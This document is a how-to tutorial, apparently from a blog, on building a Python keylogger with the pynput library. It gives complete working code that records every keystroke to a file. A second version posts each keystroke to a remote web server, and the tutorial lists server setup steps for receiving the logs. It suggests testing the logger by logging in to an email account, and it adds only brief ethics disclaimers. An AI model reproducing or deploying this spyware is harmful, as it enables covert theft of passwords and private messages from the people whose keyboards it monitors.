How to Make a Simple Keylogger in Python
In this guide, we’ll explore how to build your own simple keylogger in Python. Starting with a basic version that records keystrokes into a text file, we’ll then level up by sending those logs to a remote server.
Whether you’re learning about cybersecurity, experimenting in a home lab, or curious about how keyloggers work behind the scenes—this step-by-step guide will give you the knowledge and tools you need to build one yourself. Just remember, with great power comes great responsibility!
What is a Keylogger?
A keylogger is a type of software or hardware tool that tracks and records every keystroke a user types on their keyboard. These logs can include anything from typed messages and passwords to other sensitive information. Keyloggers are often used in cybersecurity research to analyze user behavior or monitor systems. However, they are also commonly associated with malicious activities like stealing personal data.
While keyloggers can be powerful tools, it’s important to understand that their use must always be ethical and legal, such as for testing purposes in controlled environments with full consent.
Part 1: Build a Basic Keylogger
We will use Python and a library called pynput
to create a basic keylogger that records key presses and saves them into a file.
Step 1: Install Python and pynput
First, make sure you have Python installed. You can download it from the official Python website. Then, install the pynput
library, which will allow us to capture key presses. I will be using Anaconda, but you can also instill the libraries using pip. I will show both ways below.
To install pynput
, open a terminal or command prompt and run:
pip install pynput
Using Anaconda:
conda install conda-forge::pynput
Step 2: Write the Keylogger Script
Open your prefered Python IDE, (like Spyder or PyCharm) and create a new Python script. Name it keylogger.py
. In this file, paste the following code:
# Import necessary modules
from pynput.keyboard import Key, Listener
import logging
# Set up logging to save keystrokes to a file
log_file = "keylog.txt"
logging.basicConfig(filename=log_file,
level=logging.DEBUG,
format="%(asctime)s: %(message)s")
# Define the function to handle each key press
def on_press(key):
try:
logging.info(str(key))
except AttributeError:
pass
# Define the function to handle key release
def on_release(key):
# If 'Esc' is pressed, stop the keylogger
if key == Key.esc:
return False
# Set up the listener to track key presses and releases
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
This script does the following:
- Listens for key presses.
- Logs each key press in a file called
keylog.txt
. - Stops when the
Esc
key is pressed.
Step 3: Create the Keylog.txt
In the same folder as your python script, create the file keylog.txt
.
Step 4: Run the Script
To run the script:
- Open a terminal or command prompt.
- Navigate to the folder where you saved the
keylogger.py
file. - Run the script by typing:
python keylogger.py
Or an easier method would be to just run the script directly from your IDE.
While the script is running, try type something on your keyboard. You could do a Google search or try to logon to you email account. Then check the keylog.txt
file.
Step 5: Check the Logged Keystrokes in keylog.txt
By opening the keylog.txt file, you should be able to see all the logged keystrokes as in the example below.
Part 2: Keylogger that Sends Keylogs to a Remote Server
In this section, we’ll modify the keylogger to send logs to a server every time a key is pressed. This is slightly more advanced and require that you have an active and running server.
Step 1: Set Up a Simple Web Server
You’ll need a web server to receive the key logs. If you don’t already have one, you can set up a basic Apache server.
For this example, we’ll assume you have a simple Apache server running. The server should be able to handle POST
requests.
Step 2: Update the Python Script to Send Logs
We’ll now modify the script to send keylogs to the server. Here’s the updated version of the code:
from pynput.keyboard import Key, Listener
import logging
import requests
# URL of your Apache server (PHP handler)
server_url = "http://your-server-address.com/keylog_receiver.php"
# Set up logging to save the keystrokes to a file (optional)
log_file = "keylog.txt"
logging.basicConfig(filename=log_file, level=logging.DEBUG, format="%(asctime)s: %(message)s")
# Function to send keylog data to the server
def send_to_server(key):
try:
# Prepare data to send via POST
data = {"key": key}
response = requests.post(server_url, data=data)
# Optionally check the server's response
if response.status_code == 200:
print("Log sent to server successfully")
else:
print(f"Failed to send log: {response.status_code}")
except Exception as e:
print(f"Error sending log: {e}")
# Function to handle each key press
def on_press(key):
try:
logging.info(str(key))
send_to_server(str(key)) # Send each keystroke to the server
except AttributeError:
pass
# Function to handle key release
def on_release(key):
if key == Key.esc:
return False # Stop the keylogger
# Set up the keylogger to listen for keypress and release events
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Step 3: Server-Side Script
To receive logs on your server, you need to create a PHP script that handles the incoming data.
sudo touch /var/www/html/keylog_receiver.php
In this directory, also create a keylog.txt file to store the received keylogs.
sudo touch /var/www/html/keylog.txt
Step 4: Test the Advanced Keylogger
- Update the Server URL: Replace
http://your-server-address.com/log
with the actual URL of your server where you want to receive the key logs. - Run the Script: Run the updated script.
Now, by looking at our client machine (where we are running the python script) we can see in the keylog.txt file what is sent to the server.
Going to the server URL, we can also check the keylog.txt file and see what we have received.
Conclusion
In this post, we’ve walked through how to create a simple keylogger that logs keystrokes to a file and then send those logs to a server. Remember, keyloggers can be highly intrusive, so always use them responsibly and with permission.
By following these steps, you can experiment with basic keylogging techniques and see how they work in a safe and controlled environment.